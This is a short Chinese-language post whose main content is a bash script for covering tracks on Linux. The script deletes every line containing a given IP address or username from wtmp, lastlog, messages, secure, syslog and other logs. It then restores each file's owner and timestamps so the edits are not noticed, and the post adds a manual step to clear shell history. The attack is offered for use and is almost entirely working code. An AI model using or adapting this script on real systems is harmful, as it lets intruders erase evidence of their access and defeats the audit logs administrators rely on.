linux 日志清除脚本
| #!/bin/bash echo " linux clear log " echo " by knlve 2008-08-29" echo "===============================" # chmod 777 log # ./log xx.xx.xx.xx And ./log root if [ -f "/var/log/wtmp" ];then cat /var/log/wtmp | grep -v $1 >> /var/log/temp1; chgrp --reference /var/log/wtmp /var/log/temp1; chown --reference /var/log/wtmp /var/log/temp1; touch -r /var/log/wtmp /var/log/temp1; mv -f /var/log/temp1 /var/log/wtmp; fi if [ -f "/var/log/lastlog" ];then cat /var/log/lastlog |grep -v $1 >> /var/log/temp2; chgrp --reference /var/log/lastlog /var/log/temp2; chown --reference /var/log/lastlog /var/log/temp2; touch -r /var/log/lastlog /var/log/temp2; mv -f /var/log/temp2 /var/log/lastlog; fi if [ -f "/var/log/messages" ];then cat /var/log/messages | grep -v $1 >> /var/log/temp3; chgrp --reference /var/log/messages /var/log/temp3; chown --reference /var/log/messages /var/log/temp3; touch -r /var/log/messages /var/log/temp3; mv -f /var/log/temp3 /var/log/messages; fi if [ -f "/var/log/utmp" ];then cat /var/log/utmp | grep -v $1 >> /var/log/temp4; chgrp --reference /var/log/utmp /var/log/temp4; chown --reference /var/log/utmp /var/log/temp4; touch -r /var/log/utmp /var/log/temp4; mv -f /var/log/temp4 /var/log/utmp; fi if [ -f "/var/log/wtmpx" ];then cat /var/log/wtmpx | grep -v $1 >> /var/log/temp5; chgrp --reference /var/log/wtmpx /var/log/temp5; chown --reference /var/log/wtmpx /var/log/temp5; touch -r /var/log/wtmpx /var/log/temp5; mv -f /var/log/temp5 /var/log/wtmpx; fi if [ -f "/var/log/utmpx" ];then cat /var/log/utmpx | grep -v $1 >> /var/log/temp6; chgrp --reference /var/log/utmpx /var/log/temp6; chown --reference /var/log/utmpx /var/log/temp6; touch -r /var/log/utmpx /var/log/temp6; mv -f /var/log/temp6 /var/log/utmpx; fi if [ -f "/var/log/syslog" ];then cat /var/log/syslog | grep -v $1 >> /var/log/temp7; chgrp --reference /var/log/syslog /var/log/temp7; chown --reference /var/log/syslog /var/log/temp7; touch -r /var/log/syslog /var/log/temp7; mv -f /var/log/temp7 /var/log/syslog; fi if [ -f "/var/log/secure" ];then cat /var/log/secure | grep -v $1 >> /var/log/temp8; chgrp --reference /var/log/secure /var/log/temp8; chown --reference /var/log/secure /var/log/temp8; touch -r /var/log/secure /var/log/temp8; mv -f /var/log/temp8 /var/log/secure; fi /usr/bin/killall -HUP syslogd; echo "Clear log is success! #rm -fr log |
由于某种原因在脚本里清楚历史记录始终不完美。执行完脚本后，
在手动执行清楚历史记录:
history -w
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脚本用法 chmod 777 log & ./log ip or ./log root
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